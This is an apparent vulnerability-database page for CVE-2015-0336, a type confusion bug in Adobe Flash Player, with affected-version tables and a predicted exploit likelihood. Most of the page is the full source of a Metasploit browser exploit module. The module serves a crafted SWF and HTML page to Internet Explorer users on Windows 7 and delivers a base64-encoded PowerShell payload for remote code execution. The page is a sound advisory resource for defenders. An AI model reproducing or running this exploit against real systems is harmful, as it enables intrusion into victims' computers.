CVE-2015-0336

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Published 2015-03-13 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-0334.

Predictions

Exploit likelihood

20%

Patch ETA

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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36962 remote windows verified ruby · 4 KB

Metasploit · 2015-05-08

Adobe Flash Player - NetConnection Type Confusion (Metasploit)

ruby exploit Source: Exploit-DB

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player NetConnection Type Confusion',
      'Description'         => %q{
        This module exploits a type confusion vulnerability in the NetConnection class on
        Adobe Flash Player. When using a correct memory layout this vulnerability allows
        to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
        vectors, and finally accomplish remote code execution. This module has been tested
        successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
          'Unknown', # Exploit in the wild
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2015-0336'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
          ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
          ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
          ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Mar 12 2015',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    @trigger = create_trigger
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    trigger_hex_stream = @trigger.unpack('H*')[0]

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

  def create_trigger
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end
end

Metasploit modules

exploit_multi/browser/adobe_flash_net_connection_confusion rank 500

Adobe Flash Player NetConnection Type Confusion

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OS impact

Linux kernel Fixed 1 release

Version	Status	Fixed in
-	Not affected	—

macOS Fixed 1 release

Version	Status	Fixed in
-	Not affected	—

Application impact

Vendor	Product	Versions
adobe	flash_player	`{"endIncluding":"13.0.0.264"}`
adobe	flash_player	`14.0.0.125`
adobe	flash_player	`14.0.0.145`
adobe	flash_player	`14.0.0.176`
adobe	flash_player	`14.0.0.179`
adobe	flash_player	`15.0.0.152`
adobe	flash_player	`15.0.0.167`
adobe	flash_player	`15.0.0.189`
adobe	flash_player	`15.0.0.223`
adobe	flash_player	`15.0.0.239`
adobe	flash_player	`15.0.0.246`
adobe	flash_player	`16.0.0.235`
adobe	flash_player	`16.0.0.257`
adobe	flash_player	`16.0.0.287`
adobe	flash_player	`16.0.0.296`
adobe	flash_player	`16.0.0.305`

References

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